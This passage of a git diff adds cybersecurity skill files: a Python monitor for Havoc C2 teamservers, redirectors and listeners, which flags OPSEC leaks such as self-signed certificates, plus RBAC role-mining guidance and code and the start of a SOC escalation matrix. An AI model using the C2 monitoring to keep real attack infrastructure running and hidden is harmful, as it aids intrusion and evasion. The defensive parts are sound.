"""Check SSL certificate validity and expiration.""" + try: + context = ssl.create_default_context() + with socket.create_connection((host, port), timeout=10) as sock: + with context.wrap_socket(sock, server_hostname=host) as ssock: + cert = ssock.getpeercert() + not_after = cert.get("notAfter", "") + subject = dict(x[0] for x in cert.get("subject", ())) + issuer = dict(x[0] for x in cert.get("issuer", ())) + + # Parse expiry + expiry = datetime.strptime(not_after, "%b %d %H:%M:%S %Y %Z") + days_remaining = (expiry - datetime.utcnow()).days + + return { + "valid": True, + "expiry": not_after, + "days_remaining": days_remaining, + "subject_cn": subject.get("commonName", ""), + "issuer_cn": issuer.get("commonName", ""), + "self_signed": subject.get("commonName") == issuer.get("commonName"), + } + except ssl.SSLCertVerificationError as e: + return {"valid": False, "error": str(e), "self_signed": True} + except Exception as e: + return {"valid": False, "error": str(e)} + + def check_http_response(self, host: str, port: int, path: str = "/", + ssl_enabled: bool = True, expected_status: int = 200) -> dict: + """Check HTTP/HTTPS endpoint response.""" + scheme = "https" if ssl_enabled else "http" + url = f"{scheme}://{host}:{port}{path}" + try: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + + req = Request(url, headers={ + "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36" + }) + start = time.time() + resp = urlopen(req, timeout=10, context=context) + latency = (time.time() - start) * 1000 + return { + "status_code": resp.getcode(), + "latency_ms": latency, + "headers": dict(resp.headers), + "reachable": True, + } + except HTTPError as e: + return {"status_code": e.code, "reachable": True, "error": str(e)} + except URLError as e: + return {"reachable": False, "error": str(e)} + + def check_dns_resolution(self, domain: str) -> dict: + """Verify DNS resolution for C2 domains.""" + try: + results = socket.getaddrinfo(domain, None) + ips = list(set(r[4][0] for r in results)) + return {"resolved": True, "ips": ips} + except socket.gaierror as e: + return {"resolved": False, "error": str(e)} + + def run_all_checks(self) -> list[HealthCheck]: + """Run health checks on all configured components.""" + self.check_results = [] + self.alerts = [] + + for comp in self.components: + print(f"[*] Checking {comp.name} ({comp.host}:{comp.port})...") + + # TCP port check + is_up, latency = self.check_tcp_port(comp.host, comp.port) + + check = HealthCheck( + component=comp.name, + host=comp.host, + port=comp.port, + status="up" if is_up else "down", + latency_ms=latency, + timestamp=datetime.utcnow().isoformat(), + ) + + if not is_up: + self.alerts.append(f"CRITICAL: {comp.name} ({comp.host}:{comp.port}) is DOWN") + check.details = "TCP connection failed" + self.check_results.append(check) + continue + + # SSL check for HTTPS components + if comp.ssl_enabled: + ssl_info = self.check_ssl_certificate(comp.host, comp.port) + check.ssl_valid = ssl_info.get("valid", False) + check.ssl_expiry = ssl_info.get("expiry", "") + + if ssl_info.get("self_signed", False): + self.alerts.append( + f"OPSEC WARNING: {comp.name} has self-signed certificate!" + ) + if ssl_info.get("days_remaining", 999) < 7: + self.alerts.append( + f"WARNING: {comp.name} SSL expires in " + f"{ssl_info['days_remaining']} days" + ) + + # HTTP response check for web-based components + if comp.component_type in ("redirector", "listener"): + http_info = self.check_http_response( + comp.host, comp.port, ssl_enabled=comp.ssl_enabled + ) + if http_info.get("reachable"): + server_header = http_info.get("headers", {}).get("Server", "") + if "Havoc" in server_header: + self.alerts.append( + f"OPSEC CRITICAL: {comp.name} leaking Havoc in Server header!" + ) + check.details = f"HTTP {http_info.get('status_code', 'N/A')}" + + # Latency check + if latency > 1000: + self.alerts.append( + f"WARNING: {comp.name} high latency: {latency:.0f}ms" + ) + check.status = "degraded" + + self.check_results.append(check) + + return self.check_results + + def check_domain_opsec(self, domain: str) -> dict: + """Check domain OPSEC status.""" + results = { + "domain": domain, + "dns_resolves": False, + "checks": [], + } + + # DNS resolution + dns = self.check_dns_resolution(domain) + results["dns_resolves"] = dns.get("resolved", False) + results["resolved_ips"] = dns.get("ips", []) + + # Check if domain is too new (WHOIS-based heuristic) + results["checks"].append({ + "check": "DNS Resolution", + "status": "PASS" if dns.get("resolved") else "FAIL", + }) + + # SSL certificate check + ssl_info = self.check_ssl_certificate(domain) + results["checks"].append({ + "check": "Valid SSL Certificate", + "status": "PASS" if ssl_info.get("valid") else "FAIL", + "details": ssl_info, + }) + + if ssl_info.get("self_signed"): + results["checks"].append({ + "check": "Not Self-Signed", + "status": "FAIL", + "details": "Self-signed certificates are an OPSEC failure", + }) + + return results + + def generate_status_report(self) -> str: + """Generate infrastructure status report.""" + lines = [] + lines.append("=" * 60) + lines.append("HAVOC C2 INFRASTRUCTURE STATUS REPORT") + lines.append(f"Generated: {datetime.utcnow().isoformat()}") + lines.append("=" * 60) + + # Component status + lines.append("\nCOMPONENT STATUS:") + lines.append("-" * 60) + for check in self.check_results: + status_icon = { + "up": "[+]", + "down": "[!]", + "degraded": "[~]", + }.get(check.status, "[?]") + lines.append( + f" {status_icon} {check.component:<25} " + f"{check.status.upper():<10} " + f"{check.latency_ms:.0f}ms" + ) + if check.ssl_valid: + lines.append(f" SSL: Valid (expires {check.ssl_expiry})") + if check.details: + lines.append(f" Details: {check.details}") + + # Alerts + if self.alerts: + lines.append("\nALERTS:") + lines.append("-" * 60) + for alert in self.alerts: + lines.append(f" {alert}") + + # Summary + total = len(self.check_results) + up = sum(1 for c in self.check_results if c.status == "up") + down = sum(1 for c in self.check_results if c.status == "down") + degraded = sum(1 for c in self.check_results if c.status == "degraded") + + lines.append(f"\nSUMMARY: {up}/{total} UP | {degraded} DEGRADED | {down} DOWN") + + if down > 0: + lines.append("STATUS: INFRASTRUCTURE DEGRADED - IMMEDIATE ACTION REQUIRED") + elif self.alerts: + lines.append("STATUS: OPERATIONAL WITH WARNINGS") + else: + lines.append("STATUS: FULLY OPERATIONAL") + + return "\n".join(lines) + + def export_json(self, output_path: str) -> None: + """Export results to JSON.""" + data = { + "timestamp": datetime.utcnow().isoformat(), + "components": [asdict(c) for c in self.check_results], + "alerts": self.alerts, + } + with open(output_path, "w") as f: + json.dump(data, f, indent=2) + print(f"[+] Results exported to {output_path}") + + +def main(): + """Demonstrate infrastructure monitoring.""" + monitor = HavocInfraMonitor() + + # Configure infrastructure components + monitor.add_component(InfraComponent( + name="Havoc Teamserver", + host="127.0.0.1", + port=40056, + component_type="teamserver", + protocol="tcp", + )) + + monitor.add_component(InfraComponent( + name="HTTPS Redirector", + host="127.0.0.1", + port=443, + component_type="redirector", + ssl_enabled=True, + )) + + monitor.add_component(InfraComponent( + name="HTTPS Listener", + host="127.0.0.1", + port=443, + component_type="listener", + ssl_enabled=True, + )) + + # Run health checks + print("[*] Running infrastructure health checks...\n") + monitor.run_all_checks() + + # Generate report + report = monitor.generate_status_report() + print(report) + + # Export results + monitor.export_json("havoc_infra_status.json") + + +if __name__ == "__main__": + main() diff --git a/skills/building-role-mining-for-rbac-optimization/SKILL.md b/skills/building-role-mining-for-rbac-optimization/SKILL.md new file mode 100644 index 00000000..f016028b --- /dev/null +++ b/skills/building-role-mining-for-rbac-optimization/SKILL.md @@ -0,0 +1,235 @@ +--- +name: building-role-mining-for-rbac-optimization +description: Apply bottom-up and top-down role mining techniques to discover optimal RBAC roles from existing user-permission assignments, reducing role explosion and enforcing least privilege. +domain: cybersecurity +subdomain: identity-access-management +tags: [rbac, role-mining, identity-governance, access-control, least-privilege, clustering] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building Role Mining for RBAC Optimization + +## Overview + +Role mining is the process of analyzing existing user-permission assignments to discover optimal roles for a Role-Based Access Control (RBAC) system. Organizations accumulate excessive permissions over time through job changes, project assignments, and ad-hoc access grants, leading to "role explosion" where thousands of granular roles exist with significant overlap. Role mining uses data analysis -- including clustering algorithms, formal concept analysis, and graph-based methods -- to consolidate permissions into a minimal set of roles that accurately represent business functions while enforcing least privilege. + +## Prerequisites + +- Export of current user-permission assignments (CSV/database) +- Identity governance platform or directory service access +- Python 3.9+ with pandas, scikit-learn, numpy +- Understanding of organizational structure and job functions +- Stakeholder access for role validation workshops + +## Core Concepts + +### Role Mining Approaches + +| Approach | Description | Best For | +|----------|-------------|----------| +| Bottom-Up | Analyze existing permissions to discover common patterns | Large datasets with organic permission growth | +| Top-Down | Design roles from business requirements and job descriptions | Greenfield RBAC or organizational restructuring | +| Hybrid | Combine bottom-up analysis with top-down business validation | Most production environments | + +### Role Mining Algorithms + +**1. Permission Clustering**: Group users with similar permission sets using k-means or hierarchical clustering. Users in the same cluster share a common role. + +**2. Formal Concept Analysis (FCA)**: Mathematical framework that identifies complete set of concepts (user groups sharing exact permission sets) from a binary user-permission matrix. + +**3. Graph-Based Mining**: Model users and permissions as a bipartite graph, then find dense subgraphs representing candidate roles. + +**4. Boolean Matrix Decomposition**: Decompose the user-permission matrix U into U ≈ R × P where R maps users to roles and P maps roles to permissions. + +### Role Mining Metrics + +| Metric | Formula | Target | +|--------|---------|--------| +| Role Count | Total distinct roles after mining | Minimize | +| Coverage | Permissions explained by mined roles / Total permissions | > 95% | +| Weighted Structural Complexity (WSC) | Sum of role-user + role-permission assignments | Minimize | +| Deviation | Extra permissions not covered by assigned roles | < 5% | + +## Implementation Steps + +### Step 1: Extract User-Permission Data + +Collect the current access state from all identity sources: + +```python +import pandas as pd +import numpy as np + +# Load user-permission assignments +# Format: user_id, permission_id (one row per assignment) +assignments = pd.read_csv("user_permissions.csv") + +# Create binary user-permission matrix (UPA matrix) +upa_matrix = assignments.pivot_table( + index="user_id", + columns="permission_id", + aggfunc="size", + fill_value=0 +) +upa_matrix = (upa_matrix > 0).astype(int) + +print(f"Users: {upa_matrix.shape[0]}") +print(f"Permissions: {upa_matrix.shape[1]}") +print(f"Assignments: {assignments.shape[0]}") +print(f"Density: {upa_matrix.values.sum() / upa_matrix.size:.2%}") +``` + +### Step 2: Bottom-Up Role Discovery Using Clustering + +```python +from sklearn.cluster import AgglomerativeClustering +from sklearn.metrics import silhouette_score + +def find_optimal_clusters(matrix, max_k=50): + """Find optimal number of roles using silhouette analysis.""" + scores = [] + for k in range(2, min(max_k, matrix.shape[0])): + clustering = AgglomerativeClustering( + n_clusters=k, metric="jaccard", linkage="average" + ) + labels = clustering.fit_predict(matrix) + score = silhouette_score(matrix, labels, metric="jaccard") + scores.append((k, score)) + + optimal_k = max(scores, key=lambda x: x[1])[0] + return optimal_k, scores + +def mine_roles_clustering(upa_matrix, n_clusters): + """Mine roles using hierarchical clustering on Jaccard distance.""" + clustering = AgglomerativeClustering( + n_clusters=n_clusters, metric="jaccard", linkage="average" + ) + user_matrix = upa_matrix.values + labels = clustering.fit_predict(user_matrix) + + roles = {} + for cluster_id in range(n_clusters): + cluster_users = upa_matrix.index[labels == cluster_id] + cluster_permissions = upa_matrix.loc[cluster_users] + + # Core role = permissions held by >80% of cluster members + permission_frequency = cluster_permissions.mean() + core_permissions = permission_frequency[permission_frequency >= 0.8].index.tolist() + + roles[f"Role_{cluster_id}"] = { + "permissions": core_permissions, + "user_count": len(cluster_users), + "users": cluster_users.tolist(), + "coverage": permission_frequency[permission_frequency >= 0.8].mean() + } + + return roles, labels +``` + +### Step 3: Formal Concept Analysis + +```python +def mine_roles_fca(upa_matrix, min_support=3): + """Mine roles using Formal Concept Analysis (frequent closed itemsets).""" + from itertools import combinations + + users = upa_matrix.index.tolist() + permissions = upa_matrix.columns.tolist() + + concepts = [] + + # Find all maximal permission sets shared by at least min_support users + for size in range(len(permissions), 0, -1): + for perm_combo in combinations(permissions, size): + perm_set = set(perm_combo) + # Find users who have ALL permissions in this set + matching_users = [] + for user in users: + user_perms = set(upa_matrix.columns[upa_matrix.loc[user] == 1]) + if perm_set.issubset(user_perms): + matching_users.append(user) + + if len(matching_users) >= min_support: + # Check if this is a closed concept (no superset with same extent) + is_closed = True + for concept in concepts: + if set(matching_users) == set(concept["users"]) and \ + perm_set.issubset(set(concept["permissions"])): + is_closed = False + break + + if is_closed: + concepts.append({ + "permissions": list(perm_set), + "users": matching_users, + "support": len(matching_users) + }) + + if len(concepts) > 100: # Limit for performance + break + + return concepts +``` + +### Step 4: Evaluate and Select Roles + +```python +def evaluate_role_set(roles, upa_matrix): + """Evaluate the quality of a mined role set.""" + total_assignments = upa_matrix.values.sum() + covered_assignments = 0 + extra_assignments = 0 + + for role_name, role_data in roles.items(): + role_perms = set(role_data["permissions"]) + for user in role_data["users"]: + user_perms = set(upa_matrix.columns[upa_matrix.loc[user] == 1]) + covered = role_perms.intersection(user_perms) + extra = role_perms - user_perms + covered_assignments += len(covered) + extra_assignments += len(extra) + + metrics = { + "total_roles": len(roles), + "total_assignments": total_assignments, + "covered_assignments": covered_assignments, + "coverage_rate": covered_assignments / total_assignments if total_assignments else 0, + "extra_permissions": extra_assignments, + "deviation_rate": extra_assignments / (covered_assignments + extra_assignments) if (covered_assignments + extra_assignments) else 0, + "avg_role_size": np.mean([len(r["permissions"]) for r in roles.values()]), + "avg_users_per_role": np.mean([r["user_count"] for r in roles.values()]), + } + return metrics +``` + +### Step 5: Business Validation + +After mining candidate roles: + +1. Map mined roles to business functions (department, job title) +2. Conduct workshops with business unit managers to validate role definitions +3. Identify outlier permissions that indicate misconfiguration +4. Refine roles based on feedback and re-evaluate metrics +5. Document role definitions with business justification + +## Validation Checklist + +- [ ] User-permission matrix extracted from all identity sources +- [ ] Multiple mining algorithms compared (clustering, FCA) +- [ ] Optimal role count determined via silhouette analysis or WSC +- [ ] Coverage rate exceeds 95% of existing assignments +- [ ] Deviation rate below 5% (minimal extra permissions) +- [ ] Mined roles validated with business stakeholders +- [ ] Role hierarchy defined (parent-child inheritance) +- [ ] Exception/outlier permissions documented +- [ ] Migration plan created for transitioning to new role model +- [ ] Ongoing role governance process defined + +## References + +- [Role Mining: Optimizing RBAC - NIST](https://csrc.nist.gov/projects/role-based-access-control) +- [RBAC Standard - ANSI/INCITS 359-2012](https://www.incits.org/) +- [Formal Concept Analysis for Role Engineering](https://link.springer.com/chapter/10.1007/978-3-540-73070-6_7) +- [scikit-learn Clustering Documentation](https://scikit-learn.org/stable/modules/clustering.html) diff --git a/skills/building-role-mining-for-rbac-optimization/assets/template.md b/skills/building-role-mining-for-rbac-optimization/assets/template.md new file mode 100644 index 00000000..4dbc0880 --- /dev/null +++ b/skills/building-role-mining-for-rbac-optimization/assets/template.md @@ -0,0 +1,52 @@ +# Role Mining Project Template + +## Project Overview + +| Field | Value | +|-------|-------| +| Organization | | +| Project Lead | | +| Start Date | | +| Target Completion | | +| Identity Sources | AD / Azure / AWS / Applications | + +## Data Collection Summary + +| Source | Users | Permissions | Assignments | +|--------|-------|-------------|-------------| +| Active Directory | | | | +| AWS IAM | | | | +| Azure AD | | | | +| Applications | | | | +| **Total (Deduplicated)** | | | | + +## Mining Results + +| Algorithm | Roles Found | Coverage | Deviation | WSC | +|-----------|-------------|----------|-----------|-----| +| Clustering (k=___) | | | | | +| Intersection Mining | | | | | +| Selected Approach | | | | | + +## Proposed Role Definitions + +| Role Name | Department | Permissions | Users | Status | +|-----------|------------|-------------|-------|--------| +| | | | | Draft/Validated/Approved | +| | | | | | + +## Stakeholder Validation + +| Business Unit | Reviewer | Roles Reviewed | Approved | Date | +|--------------|----------|---------------|----------|------| +| | | | Yes/No | | + +## Migration Plan + +- [ ] Roles created in identity governance platform +- [ ] User-role assignments configured +- [ ] Individual permission grants removed +- [ ] Test users validated access +- [ ] Full migration completed +- [ ] Post-migration access verification +- [ ] Old permissions cleanup confirmed diff --git a/skills/building-role-mining-for-rbac-optimization/references/standards.md b/skills/building-role-mining-for-rbac-optimization/references/standards.md new file mode 100644 index 00000000..af3abcf9 --- /dev/null +++ b/skills/building-role-mining-for-rbac-optimization/references/standards.md @@ -0,0 +1,46 @@ +# Role Mining for RBAC Optimization - Standards Reference + +## RBAC Standards + +### ANSI/INCITS 359-2012 - Core RBAC +- Defines User, Role, Permission, Session abstractions +- Role assignment: users are assigned to roles +- Permission assignment: permissions are assigned to roles +- Role hierarchy: senior roles inherit junior role permissions +- Separation of Duty constraints (static and dynamic) + +### NIST RBAC Model (SP 800-162) +- Core RBAC: Basic user-role and role-permission mappings +- Hierarchical RBAC: Role inheritance relationships +- Constrained RBAC: Static and dynamic separation of duties +- Symmetric RBAC: Combined user-centric and permission-centric views + +## Identity Governance Standards + +### ISO 27001:2022 - A.5.15 Access Control +- Access control policy based on business and security requirements +- Roles determined by job function +- Regular review of access rights +- Formal authorization for privilege changes + +### NIST SP 800-53 Rev 5 +- AC-2: Account Management +- AC-3: Access Enforcement +- AC-5: Separation of Duties +- AC-6: Least Privilege +- AC-16: Security and Privacy Attributes +- AC-24: Access Control Decisions + +## Role Mining Research + +### Key Algorithms +- **RoleMiner (Vaidya et al., 2007)**: Iterative role mining minimizing WSC +- **CompleteMiner / FastMiner (Vaidya et al., 2006)**: Complete vs. approximate algorithms +- **ORCA (Schlegelmilch & Steffens, 2005)**: Clustering-based approach +- **Graph Optimization (Lu et al., 2008)**: Graph-based role mining + +### Quality Metrics +- Weighted Structural Complexity: min(|UA| + |PA| + |Roles|) +- Boolean Matrix Decomposition error +- Jaccard similarity between mined and original access +- Role coverage percentage diff --git a/skills/building-role-mining-for-rbac-optimization/references/workflows.md b/skills/building-role-mining-for-rbac-optimization/references/workflows.md new file mode 100644 index 00000000..765e5a9f --- /dev/null +++ b/skills/building-role-mining-for-rbac-optimization/references/workflows.md @@ -0,0 +1,82 @@ +# Role Mining for RBAC Optimization - Workflows + +## End-to-End Role Mining Workflow + +``` +Phase 1: DATA COLLECTION (Week 1-2) + ├── Export user-permission data from all identity sources + │ ├── Active Directory group memberships + │ ├── Cloud IAM role assignments + │ ├── Application-level permissions + │ └── Database access grants + ├── Collect HR data (job titles, departments, cost centers) + ├── Normalize data into User-Permission Assignment (UPA) matrix + └── Clean data: remove disabled accounts, system accounts + +Phase 2: ANALYSIS (Week 3-4) + ├── Run clustering algorithms (hierarchical, k-means) + ├── Run Formal Concept Analysis for exact role candidates + ├── Compare results using WSC and coverage metrics + ├── Identify optimal number of roles via silhouette analysis + └── Map candidate roles to organizational structure + +Phase 3: VALIDATION (Week 5-6) + ├── Present candidate roles to business unit managers + ├── Validate each role against job descriptions + ├── Identify and resolve outlier permissions + ├── Define role hierarchy (inheritance relationships) + └── Agree on role names and descriptions + +Phase 4: IMPLEMENTATION (Week 7-8) + ├── Create roles in identity governance platform + ├── Assign users to validated roles + ├── Remove individual permission assignments + ├── Test access for sample users in each role + └── Document role definitions and approval chain + +Phase 5: GOVERNANCE (Ongoing) + ├── Monitor for permission drift + ├── Quarterly role effectiveness review + ├── Re-run mining annually to detect new patterns + └── Track role count and WSC metrics over time +``` + +## Data Normalization Workflow + +``` +Raw Data Sources + │ + ├── AD: user → group → permissions + │ Normalize to: user_id, permission_id + │ + ├── AWS: user/role → policy → actions + │ Normalize to: user_id, permission_id + │ + ├── Azure: user → role → permissions + │ Normalize to: user_id, permission_id + │ + └── Applications: user → app_role → features + Normalize to: user_id, permission_id + +Merge all sources → Deduplicate → Create UPA matrix +``` + +## Role Consolidation Workflow + +``` +Mining produces N candidate roles + │ + ├── Remove roles with < 3 users (outliers) + │ + ├── Merge roles with > 90% Jaccard similarity + │ + ├── Identify hierarchical relationships: + │ └── If Role A permissions ⊂ Role B permissions + │ → Role A is junior to Role B + │ + ├── Check for SoD violations: + │ └── Does any role combine conflicting permissions? + │ → Split into separate roles if needed + │ + └── Final role set with hierarchy and constraints +``` diff --git a/skills/building-role-mining-for-rbac-optimization/scripts/process.py b/skills/building-role-mining-for-rbac-optimization/scripts/process.py new file mode 100644 index 00000000..9597ada5 --- /dev/null +++ b/skills/building-role-mining-for-rbac-optimization/scripts/process.py @@ -0,0 +1,251 @@ +#!/usr/bin/env python3 +""" +Role Mining Engine for RBAC Optimization + +Implements multiple role mining algorithms (clustering, FCA) on user-permission +assignment data to discover optimal RBAC roles. Generates role definitions, +coverage reports, and migration plans. + +Requirements: + pip install pandas numpy scikit-learn +""" + +import csv +import json +from collections import defaultdict +from itertools import combinations +from pathlib import Path + +import numpy as np +import pandas as pd +from sklearn.cluster import AgglomerativeClustering +from sklearn.metrics import silhouette_score + + +class RoleMiningEngine: + """Core role mining engine supporting multiple algorithms.""" + + def __init__(self, assignments_file=None): + self.upa_matrix = None + self.user_metadata = {} + self.mined_roles = {} + + if assignments_file: + self.load_assignments(assignments_file) + + def load_assignments(self, filepath): + """Load user-permission assignments from CSV (user_id, permission_id).""" + df = pd.read_csv(filepath) + required = {"user_id", "permission_id"} + if not required.issubset(df.columns): + raise ValueError(f"CSV must contain columns: {required}") + + self.upa_matrix = df.pivot_table( + index="user_id", columns="permission_id", + aggfunc="size", fill_value=0 + ) + self.upa_matrix = (self.upa_matrix > 0).astype(int) + + print(f"[OK] Loaded UPA matrix: {self.upa_matrix.shape[0]} users x " + f"{self.upa_matrix.shape[1]} permissions") + print(f" Total assignments: {self.upa_matrix.values.sum()}") + density = self.upa_matrix.values.sum() / self.upa_matrix.size + print(f" Matrix density: {density:.2%}") + + def load_user_metadata(self, filepath): + """Load user HR data (user_id, department, title, location).""" + df = pd.read_csv(filepath) + for _, row in df.iterrows(): + self.user_metadata[row["user_id"]] = row.to_dict() + + def find_optimal_k(self, max_k=50): + """Determine optimal number of roles using silhouette analysis.""" + if self.upa_matrix is None: + raise ValueError("No data loaded") + + matrix = self.upa_matrix.values + max_k = min(max_k, matrix.shape[0] - 1) + scores = [] + + for k in range(2, max_k + 1): + clustering = AgglomerativeClustering( + n_clusters=k, metric="jaccard", linkage="average" + ) + labels = clustering.fit_predict(matrix) + score = silhouette_score(matrix, labels, metric="jaccard") + scores.append({"k": k, "silhouette": round(score, 4)}) + + best = max(scores, key=lambda x: x["silhouette"]) + print(f"[OK] Optimal k={best['k']} (silhouette={best['silhouette']})") + return best["k"], scores + + def mine_roles_clustering(self, n_clusters=None, threshold=0.8): + """Mine roles using hierarchical clustering with Jaccard distance.""" + if self.upa_matrix is None: + raise ValueError("No data loaded") + + if n_clusters is None: + n_clusters, _ = self.find_optimal_k() + + matrix = self.upa_matrix.values + clustering = AgglomerativeClustering( + n_clusters=n_clusters, metric="jaccard", linkage="average" + ) + labels = clustering.fit_predict(matrix) + + roles = {} + for cluster_id in range(n_clusters): + mask = labels == cluster_id + cluster_users = self.upa_matrix.index[mask].tolist() + cluster_data = self.upa_matrix.loc[cluster_users] + + perm_freq = cluster_data.mean() + core_perms = perm_freq[perm_freq >= threshold].index.tolist() + + # Determine role name from user metadata + role_label = f"Role_{cluster_id:03d}" + if self.user_metadata: + depts = [self.user_metadata.get(u, {}).get("department", "Unknown") + for u in cluster_users] + dept_counts = defaultdict(int) + for d in depts: + dept_counts[d] += 1 + if dept_counts: + dominant_dept = max(dept_counts, key=dept_counts.get) + role_label = f"{dominant_dept}_Role_{cluster_id:03d}" + + roles[role_label] = { + "permissions": core_perms, + "user_count": len(cluster_users), + "users": cluster_users, + "permission_count": len(core_perms), + } + + self.mined_roles = roles + print(f"[OK] Mined {len(roles)} roles via clustering") + return roles + + def mine_roles_intersection(self, min_users=3): + """Mine roles by finding common permission intersections.""" + if self.upa_matrix is None: + raise ValueError("No data loaded") + + user_perm_sets = {} + for user in self.upa_matrix.index: + perms = set(self.upa_matrix.columns[self.upa_matrix.loc[user] == 1]) + user_perm_sets[user] = perms + + # Find unique permission sets shared by multiple users + perm_set_users = defaultdict(list) + for user, perms in user_perm_sets.items(): + key = frozenset(perms) + perm_set_users[key].append(user) + + roles = {} + role_idx = 0 + for perm_set, users in perm_set_users.items(): + if len(users) >= min_users: + roles[f"ExactRole_{role_idx:03d}"] = { + "permissions": sorted(perm_set), + "user_count": len(users), + "users": users, + "permission_count": len(perm_set), + } + role_idx += 1 + + self.mined_roles = roles + print(f"[OK] Mined {len(roles)} exact-match roles " + f"(min {min_users} users per role)") + return roles + + def evaluate_roles(self, roles=None): + """Calculate quality metrics for a set of mined roles.""" + if roles is None: + roles = self.mined_roles + if not roles: + return {"error": "No roles to evaluate"} + + total_assignments = int(self.upa_matrix.values.sum()) + covered = 0 + extra = 0 + + for role_data in roles.values(): + role_perms = set(role_data["permissions"]) + for user in role_data["users"]: + user_perms = set( + self.upa_matrix.columns[self.upa_matrix.loc[user] == 1] + ) + covered += len(role_perms & user_perms) + extra += len(role_perms - user_perms) + + total_role_assignments = sum( + r["user_count"] + r["permission_count"] for r in roles.values() + ) + + metrics = { + "total_roles": len(roles), + "total_original_assignments": total_assignments, + "covered_assignments": covered, + "extra_permissions_granted": extra, + "coverage_rate": round(covered / total_assignments, 4) if total_assignments else 0, + "deviation_rate": round(extra / (covered + extra), 4) if (covered + extra) else 0, + "wsc": total_role_assignments + len(roles), + "avg_permissions_per_role": round( + np.mean([r["permission_count"] for r in roles.values()]), 1 + ), + "avg_users_per_role": round( + np.mean([r["user_count"] for r in roles.values()]), 1 + ), + } + return metrics + + def export_roles(self, output_path): + """Export mined roles to JSON for import into IGA platform.""" + export = { + "generated_at": pd.Timestamp.now().isoformat(), + "metrics": self.evaluate_roles(), + "roles": {} + } + + for name, data in self.mined_roles.items(): + export["roles"][name] = { + "name": name, + "permissions": data["permissions"], + "user_count": data["user_count"], + "permission_count": data["permission_count"], + } + + with open(output_path, "w") as f: + json.dump(export, f, indent=2) + print(f"[OK] Exported {len(self.mined_roles)} roles to {output_path}") + + def generate_migration_plan(self, output_path): + """Generate a CSV migration plan mapping users to new roles.""" + rows = [] + for role_name, role_data in self.mined_roles.items(): + for user in role_data["users"]: + rows.append({ + "user_id": user, + "new_role": role_name, + "permissions_in_role": len(role_data["permissions"]), + "current_permissions": int(self.upa_matrix.loc[user].sum()), + }) + + df = pd.DataFrame(rows) + df.to_csv(output_path, index=False) + print(f"[OK] Migration plan exported to {output_path}") + + +if __name__ == "__main__": + print("=" * 60) + print("Role Mining Engine for RBAC Optimization") + print("=" * 60) + print() + print("Usage:") + print(" engine = RoleMiningEngine('user_permissions.csv')") + print(" engine.load_user_metadata('hr_data.csv')") + print(" optimal_k, scores = engine.find_optimal_k()") + print(" roles = engine.mine_roles_clustering(n_clusters=optimal_k)") + print(" metrics = engine.evaluate_roles()") + print(" engine.export_roles('mined_roles.json')") + print(" engine.generate_migration_plan('migration_plan.csv')") diff --git a/skills/building-soc-escalation-matrix/SKILL.md b/skills/building-soc-escalation-matrix/SKILL.md new file mode 100644 index 00000000..f59fbf86 --- /dev/null +++ b/skills/building-soc-escalation-matrix/SKILL.md @@ -0,0 +1,188 @@ +--- +name: building-soc-escalation-matrix +description: Build a structured SOC escalation matrix defining severity tiers, response SLAs, escalation paths, and notification procedures for security incidents. +domain: cybersecurity +subdomain: soc-operations +tags: [soc, escalation, incident-management, severity, sla, triage, tiered-soc] +version: "1.0" +author: mahipal +license: MIT +--- + +# Building SOC Escalation Matrix + +## Overview + +A SOC escalation matrix defines how security incidents move through the organization based on severity, impact, and response requirements. Modern SOCs use context-driven escalation combining business risk, asset criticality, and data sensitivity rather than purely severity-based models. Organizations using AI and automation in their SOC cut detection-and-containment lifecycle to approximately 161 days, an 80-day improvement over the 241-day industry average. + +## SOC Tier Structure + +### Tier 1 - Alert Triage Analyst +- Monitors SIEM dashboards and alert queues +- Performs initial alert classification (true/false positive) +- Handles P3 and P4 incidents to resolution +- Escalates P1 and P2 incidents to Tier 2 within SLA +- Documents initial findings in ticketing system + +### Tier 2 - Incident Analyst +- Performs deep-dive investigation on escalated incidents +- Conducts root cause analysis and scoping +- Executes containment procedures +- Handles P2 incidents to resolution +- Escalates P1 incidents to Tier 3 or management + +### Tier 3 - Senior Analyst / Threat Hunter +- Handles P1 critical incidents and APT investigations +- Performs proactive threat hunting +- Develops detection rules and playbooks +- Conducts malware reverse engineering +- Leads incident response for major breaches + +### Management Escalation +- SOC Manager: Operational decisions, resource allocation +- CISO: Business impact decisions, executive communication +- Legal/PR: Data breach notification, media response +- External IR: Third-party incident response engagement + +## Severity Classification + +### P1 - Critical + +| Attribute | Value | +|---|---| +| Impact | Active data breach, ransomware spreading, critical systems compromised | +| Business Impact | Revenue loss, regulatory exposure, customer data at risk | +| Initial Response | 15 minutes | +| Escalation to Tier 2 | Immediate | +| Escalation to Management | 30 minutes | +| Resolution Target | 4 hours | +| Communication | Every 30 minutes to stakeholders | +| Examples | Active ransomware, confirmed data exfiltration, domain admin compromise | + +### P2 - High + +| Attribute | Value | +|---|---| +| Impact | Confirmed compromise, limited scope, no active exfiltration | +| Business Impact | Potential revenue impact, contained risk | +| Initial Response | 30 minutes | +| Escalation to Tier 2 | 30 minutes if unresolved | +| Escalation to Management | 2 hours | +| Resolution Target | 8 hours | +| Communication | Every 2 hours to SOC management | +| Examples | Compromised user account, malware on single endpoint, insider threat indicator | + +### P3 - Medium + +| Attribute | Value | +|---|---| +| Impact | Suspicious activity requiring investigation | +| Business Impact | Low immediate risk | +| Initial Response | 4 hours | +| Escalation to Tier 2 | 8 hours if unresolved | +| Resolution Target | 24 hours | +| Communication | Daily status update | +| Examples | Policy violation, failed brute force, suspicious email report | + +### P4 - Low + +| Attribute | Value | +|---|---| +| Impact | Informational alerts, routine security events | +| Business Impact | Minimal | +| Initial Response | 8 hours | +| Escalation | Only if pattern emerges | +| Resolution Target | 72 hours | +| Communication | Weekly summary | +| Examples | Vulnerability scan findings, expired certificates, policy exceptions | + +## Escalation Decision Matrix + +``` + Asset Criticality + Low Medium High Critical +Severity Low P4 P4 P3 P3 + Medium P4 P3 P2 P2 + High P3 P2 P2 P1 + Critical P2 P1 P1 P1 +``` + +## Context-Driven Escalation Triggers + +### Automatic Escalation (no analyst decision needed) + +| Trigger | Action | +|---|---| +| Ransomware detected on any endpoint | P1 - Immediate Tier 3 + Management | +| Domain admin account compromise | P1 - Immediate Tier 3 + Management | +| Active data exfiltration to external IP | P1 - Immediate Tier 3 + Management | +| Critical infrastructure (DC, SCADA) alert | P1 - Immediate Tier 2 minimum | +| Executive account anomaly | P2 - 